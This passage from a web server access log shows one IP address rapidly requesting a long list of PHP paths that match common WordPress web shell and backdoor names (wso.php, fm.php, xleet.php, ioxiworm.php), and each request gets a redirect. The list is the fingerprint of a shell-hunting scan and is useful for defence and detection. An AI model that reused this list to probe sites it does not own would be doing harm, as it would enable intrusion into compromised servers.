/vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:58 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:58 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:23:59 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:23:59 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:23:59 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:23:59 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:23:59 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:00 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:00 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:00 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:00 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:01 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:01 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:01 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:02 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:02 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:02 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:02 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:03 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:03 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:03 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:03 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:04 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:24:04 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:04 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:04 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:24:05 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:05 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:24:05 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:05 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:06 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:06 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:06 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:07 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:07 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:07 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:07 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:08 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:08 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:24:08 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:08 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:09 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:09 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:24:09 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:09 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:10 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:10 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:10 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:11 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:24:11 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:24:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:12 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:12 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:12 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:24:12 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:13 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:13 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:13 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:13 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:14 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:14 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:14 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:14 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:14 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:15 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:15 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:24:15 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:24:15 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:15 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:16 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:16 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:24:16 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:16 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:17 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:24:17 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:17 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:24:17 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:18 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:18 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:18 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:18 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:18 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:24:19 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:19 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:19 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:19 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:20 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:20 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:20 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:21 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:21 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:24:21 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:21 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:22 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:22 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:22 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:24:22 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:22 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:23 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:24:23 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:23 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:24:23 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:24:24 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:24:24 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:24:24 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:24 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:25 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:25 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:25 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:25 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 